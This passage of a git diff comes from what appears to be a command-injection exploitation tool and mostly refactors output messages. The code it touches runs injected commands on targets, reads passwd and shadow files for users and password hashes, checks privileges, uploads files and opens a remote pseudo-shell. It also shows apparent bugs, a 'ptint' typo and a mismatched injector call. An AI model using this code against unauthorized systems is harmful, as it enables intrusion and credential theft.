Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -449,22 +421,17 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print("\n" + settings.print_warning_msg(warn_msg)) + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass """ @@ -472,7 +439,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method """ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": - # Not yet implemented! + check_option = "--passwords" + checks.unavailable_option(check_option) pass else: cmd = settings.SYS_PASSES @@ -491,19 +459,16 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE info_msg += "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -516,7 +481,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -527,27 +492,23 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") + print(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + fields[0]) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) """ Single os-shell execution """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - # if menu.file_access_options(): - # sys.stdout.flush() - info_msg = "Executing the user-supplied command '" + cmd + "'." + info_msg = "Executing the user-supplied command: '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -561,43 +522,49 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) + if shell and shell != "": + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, shell)) else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) """ Check the defined options """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - # Check if PowerShell is enabled. if not menu.options.ps_version and settings.TARGET_OS == "win": checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.hostname: + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.current_user: + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True + if menu.options.is_root or menu.options.is_admin: + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + settings.ENUMERATION_DONE = True + if menu.options.sys_info: + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 886590388d..bc9538b1b4 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -33,7 +33,7 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching the content of the file '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -54,17 +54,13 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -153,8 +149,6 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) @@ -167,7 +161,8 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, """ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": - # Not yet implemented + check_option = "--file-upload" + checks.unavailable_option(check_option) pass else: file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() @@ -213,8 +208,6 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 425c6da347..088316b646 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -126,12 +126,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: print(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -197,10 +193,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - except KeyboardInterrupt: - raise - - except SystemExit: + except (KeyboardInterrupt, SystemExit): + print(settings.SINGLE_WHITESPACE) raise except EOFError: @@ -273,11 +267,13 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ checks.total_of_requests() # Print the findings to terminal. - info_msg = "The" + finding = "" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " + finding += http_request_method + "" + finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter + + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -293,8 +289,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -316,8 +312,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -338,24 +334,24 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check if defined single cmd. if menu.options.os_cmd: cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True : - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: + + try: + # Pseudo-Terminal shell + go_back = False + go_back_again = False + while True : + if go_back == True: + break + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + if gotshell in settings.CHOICE_YES: + print(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) @@ -387,52 +383,39 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: + if shell or shell != "": shell = unescape(shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - if shell != "": - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - if not settings.IS_TTY: - print(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break else: - return True + if no_result == True: + return False + else: + return True + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + gotshell + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() + except (KeyboardInterrupt, SystemExit): + raise + + except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + print(settings.print_error_msg(err_msg)) + raise - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 9b5fcb1e51..8f90f5b642 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -15,15 +15,12 @@ import re import sys - from src.utils import logs from src.utils import menu from src.utils import settings from src.utils import session_handler - from src.core.injections.controller import checks from src.thirdparty.colorama import Fore, Back, Style, init - from src.core.requests import requests from src.core.injections.results_based.techniques.eval_based import eb_injector @@ -57,14 +54,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ if float(ps_version): settings.PS_ENABLED = True # Output PowerShell's version number - info_msg = "The PowerShell's version number is " + info_msg = "Powershell version: " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The PowerShell's version number is " + ps_version + ".\n" + info_msg = "Powershell version: " + ps_version + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: @@ -94,12 +90,12 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: - info_msg = "The hostname is " + str(shell) + "." + info_msg = "Hostname: " + str(shell) + "." print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -139,7 +135,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ distro_name = eb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -160,20 +156,17 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + if target_os and target_arch: + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - warn_msg = "Heuristics have failed to retrieve the system information." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ @@ -201,65 +194,54 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - if not alter_shell: - cmd = "\"" + cmd + "\"" - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Current user: " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) + +""" +Check if the current user has excessive privileges. +""" +def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + if settings.TARGET_OS == "win": + cmd = settings.IS_ADMIN + if not alter_shell: + cmd = "\"" + cmd + "\"" + else: + cmd = settings.IS_ROOT + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = eb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell).replace(" ", "", 1) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + """ System users enumeration """ @@ -302,14 +284,13 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users_list = sys_users_list.split() info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 @@ -317,10 +298,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = eb_injector.injection_results(response, TAG, cmd) + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() @@ -338,30 +318,25 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) # Unix-like users enumeration. + print(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass - + + # Unix-like users enumeration. else: - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -371,11 +346,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -387,12 +360,10 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.PASSWD_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -432,11 +403,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -450,30 +421,26 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print("\n" 